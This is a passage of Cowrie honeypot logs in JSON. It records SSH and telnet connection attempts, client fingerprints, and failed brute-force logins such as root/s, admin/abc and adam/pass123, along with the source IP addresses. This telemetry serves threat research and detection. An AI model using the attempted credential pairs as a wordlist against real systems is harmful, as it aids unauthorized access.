nssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:45.454055Z","src_ip":"20.193.141.133","session":"e7cd0e1ef0a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"default","message":"login attempt [user/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:46.256956Z","src_ip":"20.193.141.133","session":"e7cd0e1ef0a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:47.458678Z","src_ip":"20.193.141.133","session":"e7cd0e1ef0a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":60854,"dst_ip":"159.203.135.109","dst_port":22,"session":"5282784d9e10","protocol":"ssh","message":"New connection: 117.247.23.131:60854 (159.203.135.109:22) [session: 5282784d9e10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:56.983071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:56.988398Z","src_ip":"117.247.23.131","session":"5282784d9e10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:25:57.788629Z","src_ip":"117.247.23.131","session":"5282784d9e10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"s","message":"login attempt [root/s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:00.971593Z","src_ip":"117.247.23.131","session":"5282784d9e10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:02.884957Z","src_ip":"117.247.23.131","session":"5282784d9e10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58378,"dst_ip":"159.203.135.109","dst_port":22,"session":"8487635b8bb7","protocol":"ssh","message":"New connection: 159.203.92.129:58378 (159.203.135.109:22) [session: 8487635b8bb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:19.421422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:19.425838Z","src_ip":"159.203.92.129","session":"8487635b8bb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:19.431228Z","src_ip":"159.203.92.129","session":"8487635b8bb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"adam123","message":"login attempt [adam/adam123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:19.457199Z","src_ip":"159.203.92.129","session":"8487635b8bb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:20.469094Z","src_ip":"159.203.92.129","session":"8487635b8bb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01102495193481,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:48.800860Z","src_ip":"94.79.18.201","session":"e8b47f3e6763","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":30064,"dst_ip":"10.17.0.5","dst_port":22,"session":"16a242d213ae","protocol":"ssh","message":"New connection: 20.193.141.133:30064 (10.17.0.5:22) [session: 16a242d213ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:49.214982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:49.219517Z","src_ip":"20.193.141.133","session":"16a242d213ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:49.406813Z","src_ip":"20.193.141.133","session":"16a242d213ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"abc","message":"login attempt [admin/abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:50.188555Z","src_ip":"20.193.141.133","session":"16a242d213ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.79.18.201","src_port":41172,"dst_ip":"159.203.135.109","dst_port":23,"session":"079c40644790","protocol":"telnet","message":"New connection: 94.79.18.201:41172 (159.203.135.109:23) [session: 079c40644790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:50.269952Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:26:51.379025Z","src_ip":"20.193.141.133","session":"16a242d213ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34436,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae4ae59a901a","protocol":"ssh","message":"New connection: 159.203.92.129:34436 (159.203.135.109:22) [session: ae4ae59a901a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:03.784193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:03.789448Z","src_ip":"159.203.92.129","session":"ae4ae59a901a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:03.798849Z","src_ip":"159.203.92.129","session":"ae4ae59a901a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"pass","message":"login attempt [adam/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:03.810351Z","src_ip":"159.203.92.129","session":"ae4ae59a901a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:04.815744Z","src_ip":"159.203.92.129","session":"ae4ae59a901a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.84.139.120","src_port":58834,"dst_ip":"159.203.135.109","dst_port":23,"session":"026ff33f3800","protocol":"telnet","message":"New connection: 139.84.139.120:58834 (159.203.135.109:23) [session: 026ff33f3800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:34.672050Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":51604,"dst_ip":"159.203.135.109","dst_port":22,"session":"90eeaff689f4","protocol":"ssh","message":"New connection: 117.247.23.131:51604 (159.203.135.109:22) [session: 90eeaff689f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:37.718166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:37.723684Z","src_ip":"117.247.23.131","session":"90eeaff689f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:38.435369Z","src_ip":"117.247.23.131","session":"90eeaff689f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00177931785583,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:43.231263Z","src_ip":"102.135.170.60","session":"c338d66745e9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user4","password":"123456","message":"login attempt [user4/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:43.378005Z","src_ip":"117.247.23.131","session":"90eeaff689f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00154685974121,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:43.799535Z","src_ip":"102.135.170.60","session":"449bf91cd396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:45.176044Z","src_ip":"117.247.23.131","session":"90eeaff689f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":34550,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca9e222b1690","protocol":"telnet","message":"New connection: 102.135.170.60:34550 (10.17.0.5:23) [session: ca9e222b1690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:45.404603Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.135.170.60","src_port":34618,"dst_ip":"10.17.0.5","dst_port":23,"session":"099e0276758d","protocol":"telnet","message":"New connection: 102.135.170.60:34618 (10.17.0.5:23) [session: 099e0276758d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:46.317611Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52406,"dst_ip":"159.203.135.109","dst_port":22,"session":"797f5fc2ea3e","protocol":"ssh","message":"New connection: 159.203.92.129:52406 (159.203.135.109:22) [session: 797f5fc2ea3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:48.778145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:48.783092Z","src_ip":"159.203.92.129","session":"797f5fc2ea3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:48.790471Z","src_ip":"159.203.92.129","session":"797f5fc2ea3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"pass123","message":"login attempt [adam/pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:48.806646Z","src_ip":"159.203.92.129","session":"797f5fc2ea3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:49.813896Z","src_ip":"159.203.92.129","session":"797f5fc2ea3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":17340,"dst_ip":"10.17.0.5","dst_port":22,"session":"27b19e178674","protocol":"ssh","message":"New connection: 20.193.141.133:17340 (10.17.0.5:22) [session: 27b19e178674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:55.428845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:55.434299Z","src_ip":"20.193.141.133","session":"27b19e178674","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:55.622544Z","src_ip":"20.193.141.133","session":"27b19e178674","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"root","message":"login attempt [ts3server/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:27:56.408767Z","src_ip":"20.193.141.133","session":"27b19e178674","protocol":"ssh"}
